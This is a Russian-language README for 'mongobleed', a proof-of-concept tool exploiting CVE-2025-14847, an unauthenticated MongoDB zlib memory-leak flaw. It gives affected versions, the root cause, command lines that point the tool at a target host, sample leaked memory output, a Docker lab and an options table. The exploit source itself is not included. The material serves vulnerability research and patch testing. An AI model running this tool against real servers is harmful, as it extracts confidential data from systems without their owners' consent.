
Эксплойт для подтверждения концепции для CVE-2025-14847, уязвимости декомпрессии zlib в MongoDB, которая раскрывает неинициализированную память сервера через специально сформированные BSON-документы.
CVE-2025-14847 — Эксплойт утечки памяти MongoDB без аутентификации
Доказательство концепции эксплуатации уязвимости декомпрессии zlib в MongoDB, позволяющей неаутентифицированным атакующим извлекать конфиденциальные данные из памяти сервера.
Ошибка в декомпрессии сообщений zlib в MongoDB возвращает размер выделенного буфера вместо фактической длины распакованных данных. Это позволяет атакующим читать неинициализированную память следующим образом:
uncompressedSize| Версия | Затронутые | Исправленные |
|---|---|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
# Базовое сканирование (смещения 20-8192)
python3 mongobleed.py --host <цель>
# Глубокое сканирование для получения большего объёма данных
python3 mongobleed.py --host <цель> --max-offset 50000
# Свой диапазон
python3 mongobleed.py --host <цель> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
В репозиторий включён файл Docker Compose для запуска уязвимого экземпляра MongoDB:
docker-compose up -d
python3 mongobleed.py
Эксплойт создаёт BSON-документы с завышенными полями длины. Когда сервер обрабатывает такие документы, он читает имена полей из неинициализированной памяти до тех пор, пока не встретит нулевой байт. Каждый пробник на разном смещении может извлечь разные участки памяти.
Утёкшие данные могут включать:
/proc (meminfo, сведения о сети)Joe Desimone — x.com/dez_
Данный инструмент предназначен только для авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным.
| Параметр | По умолчанию | Описание |
|---|
--host | localhost | Целевой хост MongoDB |
--port | 27017 | Целевой порт MongoDB |
--min-offset | 20 | Минимальная длина документа для проверки |
--max-offset | 8192 | Максимальная длина документа для проверки |
--output | leaked.bin | Файл для сохранения утёкших данных |